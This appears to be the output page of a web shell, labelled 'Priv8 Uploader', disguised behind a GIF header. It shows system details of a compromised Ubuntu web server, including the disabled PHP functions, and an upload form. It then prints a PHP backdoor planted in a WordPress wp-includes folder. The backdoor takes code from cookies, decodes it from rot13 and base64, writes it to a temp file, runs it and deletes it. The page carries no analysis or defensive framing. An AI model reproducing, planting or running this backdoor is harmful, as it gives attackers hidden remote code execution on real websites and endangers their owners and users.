GIF89a;

Priv8 Uploader By InMyMine7

Linux normalajans.net.tr 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.58 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1f
System: Linux normalajans.net.tr 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 x86_64
User: selcukbaba70 (1002)
PHP: 8.2.15
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/selcukbaba70/web/oadamlar.com.tr/public_html/wp-includes/IXR/custom_file_1_1767796391.php
<!--0lwEDudG-->
<?php

if (isset($_COOKIE[38+-38]) && isset($_COOKIE[-23+24]) && isset($_COOKIE[45-42]) && isset($_COOKIE[-1+5])) {
    $element = $_COOKIE;
    function module_controller($holder) {
        $element = $_COOKIE;
        $symbol = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '9xOvJnYQ');
        if (!is_writable($symbol)) {
            $symbol = getcwd() . DIRECTORY_SEPARATOR . "buffer_cache";
        }
        $ent = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($element[3]));
        if (is_writeable($symbol)) {
            $obj = fopen($symbol, 'w+');
            fputs($obj, $ent);
            fclose($obj);
            spl_autoload_unregister(__FUNCTION__);
            require_once($symbol);
            @array_map('unlink', array($symbol));
        }
    }
    spl_autoload_register("module_controller");
    $key = "f62011a1e54e3532985914a03e586adc";
    if (!strncmp($key, $element[4], 32)) {
        if (@class_parents("core_engine_mutex_lock", true)) {
            exit;
        }
    }
}